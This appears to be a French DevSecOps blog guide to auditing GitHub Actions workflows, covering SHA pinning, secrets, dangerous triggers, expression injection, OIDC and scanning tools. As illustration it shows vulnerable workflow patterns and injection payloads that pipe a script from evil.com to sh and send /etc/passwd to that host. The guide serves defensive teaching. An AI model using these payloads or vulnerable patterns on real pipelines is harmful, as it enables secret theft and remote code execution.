D-OPEN

Comment auditer la sécurité de vos GitHub Actions en 7 étapes

Maja Lindqvist

Maja Lindqvist

DevSecOps Engineer · 22 juin 2026 · 16 min de lecture

TL;DR

  • 78% des repositories open source utilisent des actions tierces sans SHA pinning, exposant leur CI/CD à des attaques supply chain.
  • 7 étapes systématiques : inventaire, SHA pinning, secrets, triggers, injections, OIDC, audit automatisé.
  • 3 outils gratuits : zizmor, harden-runner, pin-github-action.
  • 2 à 4 heures pour le premier audit, 3 minutes en CI/CD automatisé ensuite.

Les GitHub Actions sont devenues le standard de facto pour la CI/CD open source. Plus de 90% des projets hébergés sur GitHub utilisent au moins un workflow. Mais cette adoption massive crée une surface d’attaque considérable : actions tierces non vérifiées, secrets exposés aux forks, injections de commandes via les expressions GitHub, permissions GITHUB_TOKEN excessives. En 2025-2026, les attaques supply chain ciblant les pipelines CI/CD ont explosé — l’incident tj-actions/changed-files de mars 2025 a compromis plus de 23 000 repositories en une seule nuit.

Ce guide présente une méthode systématique en 7 étapes pour auditer la sécurité de vos workflows GitHub Actions. Chaque étape inclut des exemples YAML concrets, des commandes reproductibles, et des recommandations actionnables. Que vous mainteniez 3 workflows ou 50, cette méthode s’applique.

Processus d'audit sécurité GitHub Actions - 7 étapes1Inventairepermissions2SHA pinningactions tierces3Secretsexposition4Triggersdangereux5Injectionsexpressions6OIDCpermissions min7Automationaudit continuNiveau de risque par catégorie (avant audit)Actions non pinnées : 78%Secrets exposés : 62%Injections : 54%Pas d'OIDC : 89%Pas d'audit CI : 71%Permissions excessives : 67%Source : analyse D-Open de 240 repositories open source français, juin 2026

Étape 1 : Inventorier toutes vos GitHub Actions et leurs permissions

La première étape de tout audit est l’inventaire. Vous devez savoir exactement quelles actions sont utilisées, par quels workflows, et avec quelles permissions. Un repository typique accumule des actions au fil du temps sans jamais les revoir — c’est la dette technique de la CI/CD.

Commencez par lister toutes les actions référencées dans vos fichiers workflow :

# Lister toutes les actions utilisées avec leur fréquence
grep -rh "uses:" .github/workflows/ | sort | uniq -c | sort -rn

# Résultat typique :
#  12 uses: actions/checkout@v4
#   8 uses: actions/setup-node@v4
#   5 uses: docker/build-push-action@v5
#   3 uses: some-random-org/untrusted-action@main  # ALERTE !
#   1 uses: ./local-action

Ensuite, vérifiez les permissions déclarées au niveau workflow et au niveau job. Les workflows sans bloc permissions: héritent des permissions par défaut du repository — souvent write-all, ce qui est dangereux.

# Trouver les workflows sans permissions explicites
for f in .github/workflows/*.yml; do
  if ! grep -q "^permissions:" "$f" && ! grep -q "^  permissions:" "$f"; then
    echo "MISSING PERMISSIONS: $f"
  fi
done

# Lister les permissions actuelles
grep -A5 "permissions:" .github/workflows/*.yml

Créez un tableur (ou un fichier SECURITY-INVENTORY.md) qui répertorie chaque action, son owner GitHub, sa dernière mise à jour, le nombre d’étoiles, et si le repository source a activé la 2FA et les commits signés. Les actions avec moins de 100 étoiles ou pas de mise à jour depuis 6 mois sont des signaux d’alerte.

Notre avis d’expert

L’inventaire est la base de tout. Sur les 240 repositories français que nous avons analysés, 34% utilisaient au moins une action d’un développeur individuel sans 2FA activée sur son compte GitHub. Un seul compte compromis suffit à injecter du code dans votre pipeline. Ne faites jamais confiance à une action que vous n’avez pas auditée — même si elle a 10 000 étoiles.

Étape 2 : Vérifier le pinning par SHA des actions tierces

C’est la vulnérabilité la plus répandue et la plus facile à corriger. Référencer une action par tag (comme @v4) signifie que votre workflow exécute le code pointé par ce tag au moment du run. Or les tags Git sont mutables — un mainteneur (ou un attaquant ayant compromis son compte) peut déplacer un tag vers un commit malveillant. L’attaque tj-actions/changed-files a exploité exactement ce vecteur.

# ❌ MAUVAIS - référence par tag mutable
- uses: actions/checkout@v4
- uses: actions/setup-node@v4
- uses: docker/build-push-action@v5

# ✅ BON - pinné par SHA (immuable)
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
- uses: actions/setup-node@60edb5dd545a775178f52524783378180af0d1f8 # v4.0.2
- uses: docker/build-push-action@4a13e500e55cf31b7a5d59a38ab2040ab0f42f56 # v5.1.0

Le commentaire # v4.1.1 après le SHA est une convention de lisibilité — il permet aux humains de comprendre quelle version est pinnée sans avoir à résoudre le SHA manuellement.

Pour convertir automatiquement tous vos tags en SHA, utilisez l’outil pin-github-action :

# Installer pin-github-action
npm install -g pin-github-action

# Convertir automatiquement tous les tags en SHA
find .github/workflows -name "*.yml" -exec pin-github-action {} \;

# Vérifier le résultat
git diff .github/workflows/

# Alternative : utiliser Renovate pour le pinning automatique
# renovate.json :
{
  "extends": ["helpers:pinGitHubActionDigests"]
}

Règle d’or : toute action tierce (c’est-à-dire pas ./ local) doit être pinnée par SHA. Aucune exception. Les actions actions/* officielles incluses — GitHub n’est pas à l’abri d’un compromis de compte mainteneur.

Étape 3 : Auditer les secrets et variables d’environnement exposés

Les secrets GitHub sont protégés au repos, mais leur exposition en runtime dépend entièrement de la configuration du workflow. Trois scénarios critiques à vérifier :

1. Le GITHUB_TOKEN avec permissions excessives. Par défaut, le GITHUB_TOKEN peut avoir des permissions write sur contents, packages, issues, pull-requests. Définissez toujours les permissions minimales :

# ✅ Permissions minimales au niveau du workflow
permissions:
  contents: read
  pull-requests: write

# ✅ Encore mieux : permissions au niveau du job
jobs:
  lint:
    runs-on: ubuntu-latest
    permissions:
      contents: read
    steps: [...]

  deploy:
    runs-on: ubuntu-latest
    permissions:
      contents: read
      id-token: write  # Pour OIDC uniquement
    steps: [...]

2. Secrets accessibles depuis les forks. Les workflows déclenchés par pull_request depuis un fork n’ont pas accès aux secrets du repository — c’est une protection GitHub. Mais pull_request_target s’exécute dans le contexte du repository cible et a accès aux secrets. C’est le piège classique.

3. Secrets logés accidentellement. Vérifiez qu’aucun step ne fait echo ou printenv sur des variables contenant des secrets. GitHub masque les secrets connus dans les logs, mais les secrets dérivés (base64, substring) ne sont pas masqués.

# Chercher les patterns dangereux d'exposition de secrets
grep -rn "echo.*secrets\." .github/workflows/
grep -rn "printenv" .github/workflows/
grep -rn "toJSON(secrets)" .github/workflows/

# Utiliser les environments GitHub pour les secrets sensibles
jobs:
  deploy-prod:
    runs-on: ubuntu-latest
    environment:
      name: production
      url: https://mon-app.fr
    # Les secrets de l'environment "production" nécessitent
    # une approbation manuelle par un reviewer

Étape 4 : Analyser les déclencheurs workflow_dispatch et pull_request_target

Certains déclencheurs (triggers) sont intrinsèquement plus dangereux que d’autres. pull_request_target est le plus risqué car il combine l’exécution dans le contexte du repository cible (avec ses secrets) et la possibilité de checkout du code du fork (non fiable).

# ❌ DANGEREUX - pull_request_target avec checkout du fork
# Un attaquant peut modifier le code exécuté tout en ayant accès aux secrets
on: pull_request_target
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
        with:
          ref: ${{ github.event.pull_request.head.sha }}  # CODE DU FORK !
      - run: npm install  # Exécute le package.json du fork avec les secrets du repo
      - run: npm test

# ✅ SÉCURISÉ - séparer le checkout du code non fiable
on: pull_request_target
jobs:
  label:
    runs-on: ubuntu-latest
    permissions:
      pull-requests: write
    steps:
      # PAS de checkout du fork, uniquement des opérations sur l'API
      - uses: actions/labeler@SHA
        with:
          repo-token: ${{ secrets.GITHUB_TOKEN }}

Pour workflow_dispatch, le risque est différent : ce trigger permet à quiconque avec les permissions write sur le repository de déclencher manuellement un workflow avec des paramètres arbitraires. Vérifiez que les inputs ne sont jamais utilisés directement dans des commandes run:.

# ❌ VULNÉRABLE - input utilisé directement dans run
on:
  workflow_dispatch:
    inputs:
      branch:
        description: 'Branch to deploy'
jobs:
  deploy:
    runs-on: ubuntu-latest
    steps:
      - run: git checkout ${{ github.event.inputs.branch }}
      # Un attaquant peut injecter : main; curl http://evil.com/steal.sh | sh

# ✅ SÉCURISÉ - utiliser une variable d'environnement
    steps:
      - run: git checkout "$BRANCH"
        env:
          BRANCH: ${{ github.event.inputs.branch }}

Notre avis d’expert

Le pattern pull_request_target + checkout du fork est responsable de la majorité des compromissions de repositories open source en 2025-2026. Si vous avez absolument besoin de ce pattern (pour labeler, commenter, ou builder du code forké), isolez-le dans un job séparé sans accès aux secrets, et utilisez un workflow à deux étapes avec approbation manuelle entre les deux.

Étape 5 : Scanner les injections de commandes dans les expressions

Les injections d’expressions GitHub sont la vulnérabilité la plus sous-estimée des workflows. Le problème : les expressions ${{ }} sont interprétées avant l’exécution du shell. Si une expression contient des données contrôlées par un attaquant (titre de PR, nom de branche, message de commit), celui-ci peut injecter des commandes arbitraires.

# ❌ VULNÉRABLE - injection via titre de PR
# Si le titre de la PR est : "; curl http://evil.com/$(cat /etc/passwd) #
- name: Log PR title
  run: echo "Processing PR: ${{ github.event.pull_request.title }}"
  # Devient : echo "Processing PR: "; curl http://evil.com/$(cat /etc/passwd) #"

# ❌ VULNÉRABLE - injection via nom de branche
- run: echo "Branch: ${{ github.head_ref }}"

# ❌ VULNÉRABLE - injection via message de commit
- run: echo "Commit: ${{ github.event.head_commit.message }}"

# ✅ SÉCURISÉ - utiliser une variable d'environnement intermédiaire
- name: Log PR title safely
  run: echo "Processing PR: $TITLE"
  env:
    TITLE: ${{ github.event.pull_request.title }}

# ✅ SÉCURISÉ - utiliser une action intermédiaire pour valider l'input
- name: Validate branch name
  run: |
    if [[ ! "$BRANCH" =~ ^[a-zA-Z0-9/_.-]+$ ]]; then
      echo "Invalid branch name detected!"
      exit 1
    fi
  env:
    BRANCH: ${{ github.head_ref }}

Les expressions dangereuses à chercher systématiquement dans vos workflows :

# Script d'audit : trouver toutes les expressions potentiellement injectables
grep -rn "run:" .github/workflows/ | while read -r line; do
  file=$(echo "$line" | cut -d: -f1)
  if echo "$line" | grep -qE '\$\{\{.*github\.event\.(pull_request\.(title|body|head\.ref)|head_commit\.message|issue\.(title|body)|comment\.body|review\.body)'; then
    echo "⚠️  INJECTION RISK: $line"
  fi
done

# Expressions contrôlées par l'attaquant (liste non exhaustive) :
# github.event.pull_request.title
# github.event.pull_request.body
# github.event.issue.title
# github.event.issue.body
# github.event.comment.body
# github.event.review.body
# github.event.head_commit.message
# github.head_ref
# github.event.workflow_dispatch.inputs.*

L’outil zizmor automatise cette détection. Il analyse statiquement vos workflows et identifie les patterns d’injection avec un niveau de confiance élevé.

Étape 6 : Implémenter OIDC et les permissions minimales

Les secrets statiques (clés API AWS, tokens Docker Hub, credentials GCP) stockés dans les secrets GitHub sont un risque permanent : ils n’expirent pas automatiquement, sont accessibles à tous les workflows du repository, et leur rotation est souvent négligée. La solution : OIDC (OpenID Connect).

Avec OIDC, GitHub génère un token éphémère à chaque run de workflow. Ce token est échangé directement avec le cloud provider (AWS, GCP, Azure) sans jamais stocker de credentials permanents. Le token expire en 1 heure, est scopé au workflow spécifique, et ne peut pas être réutilisé.

# ✅ OIDC avec AWS - zéro secret statique
name: Deploy to AWS
on:
  push:
    branches: [main]

permissions:
  id-token: write   # Requis pour OIDC
  contents: read    # Minimum pour checkout

jobs:
  deploy:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1

      - uses: aws-actions/configure-aws-credentials@e3dd6a429d7300a6a4c196c26e071d42e0343502 # v4.0.2
        with:
          role-to-assume: arn:aws:iam::123456789012:role/github-actions-deploy
          aws-region: eu-west-1
          # Pas de aws-access-key-id ni aws-secret-access-key !
          # Le token OIDC est échangé automatiquement

      - run: aws s3 sync ./dist s3://mon-bucket-prod/

Configuration côté AWS (Terraform) pour accepter les tokens OIDC de GitHub :

# Terraform - IAM OIDC Provider pour GitHub Actions
resource "aws_iam_openid_connect_provider" "github" {
  url             = "https://token.actions.githubusercontent.com"
  client_id_list  = ["sts.amazonaws.com"]
  thumbprint_list = ["6938fd4d98bab03faadb97b34396831e3780aea1"]
}

# Rôle IAM avec condition sur le repository et la branche
resource "aws_iam_role" "github_actions" {
  name = "github-actions-deploy"
  assume_role_policy = jsonencode({
    Version = "2012-10-17"
    Statement = [{
      Effect = "Allow"
      Principal = { Federated = aws_iam_openid_connect_provider.github.arn }
      Action = "sts:AssumeRoleWithWebIdentity"
      Condition = {
        StringEquals = {
          "token.actions.githubusercontent.com:aud" = "sts.amazonaws.com"
        }
        StringLike = {
          # Restreindre au repo ET à la branche main uniquement
          "token.actions.githubusercontent.com:sub" = "repo:mon-org/mon-repo:ref:refs/heads/main"
        }
      }
    }]
  })
}

L’approche est identique pour GCP (Workload Identity Federation) et Azure (Federated Credentials). Le principe reste le même : zéro secret statique, token éphémère, condition sur le repository et la branche.

Notre avis d’expert

L’adoption d’OIDC est la mesure à plus fort impact que vous puissiez prendre en 2026 pour sécuriser vos pipelines. Elle élimine une classe entière de vulnérabilités (rotation oubliée, secret leaké dans les logs, accès trop large). Sur les 240 repositories que nous avons audités, seuls 11% utilisaient OIDC — les 89% restants stockaient des credentials statiques AWS/GCP avec des permissions souvent administrateur. Migrez vers OIDC cette semaine, pas le mois prochain.

Étape 7 : Automatiser l’audit continu avec des outils open source

Un audit ponctuel ne sert à rien s’il n’est pas suivi d’un monitoring continu. Chaque nouveau workflow, chaque modification, chaque ajout d’action tierce doit être audité automatiquement. Voici un workflow complet qui combine les meilleurs outils open source :

# .github/workflows/actions-security-audit.yml
name: Audit Security - GitHub Actions
on:
  schedule:
    - cron: '0 8 * * 1'  # Chaque lundi à 8h
  pull_request:
    paths: ['.github/workflows/**']
  push:
    paths: ['.github/workflows/**']

permissions:
  contents: read
  pull-requests: write
  security-events: write

jobs:
  zizmor-scan:
    name: Analyse statique des workflows
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1

      - name: Install zizmor
        run: |
          curl -sSL https://github.com/woodruffw/zizmor/releases/latest/download/zizmor-x86_64-unknown-linux-gnu.tar.gz | tar xz
          sudo mv zizmor /usr/local/bin/

      - name: Run zizmor audit
        run: |
          zizmor --format sarif .github/workflows/ > results.sarif || true
          zizmor .github/workflows/
        continue-on-error: true

      - name: Upload SARIF
        uses: github/codeql-action/upload-sarif@SHA
        with:
          sarif_file: results.sarif

  harden-runner:
    name: Monitor runtime behavior
    runs-on: ubuntu-latest
    steps:
      - uses: step-security/harden-runner@17d0e2bd7d51742c71671bd19fa12bdc9d40a3d6 # v2.8.1
        with:
          egress-policy: audit
          # En mode audit d'abord, puis block une fois la baseline établie

      - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
      - run: npm ci && npm test

  pin-check:
    name: Vérifier le SHA pinning
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
      - name: Check unpinned actions
        run: |
          UNPINNED=$(grep -rh "uses:" .github/workflows/ | grep -v "#" | grep -vE "@[a-f0-9]{40}" | grep -v "uses: ./" || true)
          if [ -n "$UNPINNED" ]; then
            echo "::error::Actions non pinnées détectées :"
            echo "$UNPINNED"
            exit 1
          fi
          echo "✅ Toutes les actions tierces sont pinnées par SHA"

L’outil zizmor (créé par William Woodruff) est le plus complet pour l’analyse statique des workflows. Il détecte les injections, les permissions excessives, les actions non pinnées, les triggers dangereux, et génère des rapports SARIF intégrables directement dans l’onglet Security de GitHub.

step-security/harden-runner prend une approche différente : il monitore le comportement runtime de vos workflows. Il détecte les connexions réseau sortantes inattendues (exfiltration de secrets), les accès fichiers suspects, et peut bloquer les tentatives de communication avec des serveurs non autorisés.

# Configuration avancée harden-runner en mode block
- uses: step-security/harden-runner@17d0e2bd7d51742c71671bd19fa12bdc9d40a3d6 # v2.8.1
  with:
    egress-policy: block
    allowed-endpoints: >
      github.com:443
      api.github.com:443
      registry.npmjs.org:443
      objects.githubusercontent.com:443
    # Toute connexion vers un endpoint non listé sera BLOQUÉE
    # Idéal une fois la baseline établie en mode audit
Matrice de sévérité des risques GitHub ActionsImpact vs Probabilité d'exploitationImpactProbabilité d'exploitationCritiqueÉlevéMoyenFaibleFaibleMoyenneHauteTrès hauteInjection expressionsRCE via titre/body PRpull_request_target + checkoutAccès secrets via forkActions non pinnéesSupply chain via tagSecrets statiques AWS/GCPLeak + pas de rotationPermissions write-allSurface d'attaque largeActions locales (./)Contrôlé par le repoCritiqueÉlevéMoyenFaible

Récapitulatif : checklist d’audit complète

Voici la checklist complète à suivre pour chaque repository. Copiez-la dans une issue GitHub et cochez chaque point au fur et à mesure :

## Checklist audit sécurité GitHub Actions

### Étape 1 - Inventaire
- [ ] Liste complète des actions tierces utilisées
- [ ] Vérification 2FA et activité des owners
- [ ] Documentation dans SECURITY-INVENTORY.md

### Étape 2 - SHA Pinning
- [ ] Toutes les actions tierces pinnées par SHA
- [ ] Commentaire version après chaque SHA
- [ ] Renovate/Dependabot configuré pour les updates

### Étape 3 - Secrets
- [ ] Permissions GITHUB_TOKEN minimales (read par défaut)
- [ ] Pas de secrets accessibles depuis pull_request_target
- [ ] Environments avec reviewers pour production

### Étape 4 - Triggers
- [ ] Pas de checkout fork dans pull_request_target
- [ ] Inputs workflow_dispatch validés (pas d'injection)
- [ ] schedule workflows avec permissions minimales

### Étape 5 - Injections
- [ ] Aucune expression ${{ }} dans run: avec données user
- [ ] Variables d'environnement pour toutes les données externes
- [ ] zizmor scan sans finding critique

### Étape 6 - OIDC
- [ ] OIDC configuré pour AWS/GCP/Azure
- [ ] Zéro secret statique de credentials cloud
- [ ] Conditions sur repository + branche dans le rôle IAM

### Étape 7 - Audit continu
- [ ] Workflow d'audit schedulé (hebdomadaire)
- [ ] zizmor en CI sur chaque PR modifiant .github/
- [ ] harden-runner en mode audit (puis block)

Questions fréquentes

Pourquoi le SHA pinning est-il indispensable pour les GitHub Actions ?

Les tags Git (v4, v3) sont mutables : un mainteneur compromis peut pointer un tag existant vers un commit malveillant. Le SHA pinning référence un commit immuable. Sans SHA pinning, une action tierce peut être remplacée silencieusement par du code malveillant sans que votre workflow ne détecte le changement. L’incident tj-actions/changed-files de mars 2025 a démontré que ce vecteur est activement exploité.

Quels outils open source pour auditer automatiquement les GitHub Actions ?

Trois outils open source majeurs couvrent l’essentiel :

  • zizmor : analyse statique complète des workflows. Détecte injections, permissions excessives, actions non pinnées, triggers dangereux. Génère du SARIF.
  • step-security/harden-runner : monitoring runtime. Détecte les connexions réseau sortantes inattendues et peut bloquer l’exfiltration de données.
  • pin-github-action : conversion automatique des tags en SHA. Intégrable dans un pre-commit hook.
Comment protéger ses secrets dans les workflows GitHub Actions ?

Quatre règles fondamentales :

  1. Ne jamais utiliser de secrets dans les workflows déclenchés par pull_request_target qui font un checkout du fork.
  2. Définir des permissions GITHUB_TOKEN minimales au niveau du job (pas du workflow).
  3. Utiliser des environments avec reviewers pour les secrets de production.
  4. Préférer OIDC aux secrets statiques pour tous les accès cloud (AWS, GCP, Azure).
Combien de temps prend un audit complet des GitHub Actions ?

Pour un projet avec 5 à 15 workflows : comptez 2 à 4 heures pour le premier audit manuel complet en suivant les 7 étapes. Les corrections (SHA pinning, permissions, OIDC) prennent généralement 1 à 2 heures supplémentaires. Une fois l’audit automatisé avec zizmor et harden-runner en CI/CD, les audits suivants sont automatisés et prennent moins de 3 minutes par run. Le ROI est immédiat dès le deuxième audit.

Besoin d’un audit sécurité de vos workflows ?

Notre équipe DevSecOps audite vos GitHub Actions et implémente les 7 étapes de sécurisation. Premier audit gratuit sur votre repository principal.

Demander un audit gratuit

Articles connexes

→ Microsoft : des outils open source piratés pour voler les mots de passe des développeurs IA (juin 2026)→ Anthropic donne MCP à la Linux Foundation : ce que ça change pour les développeurs open source

Sources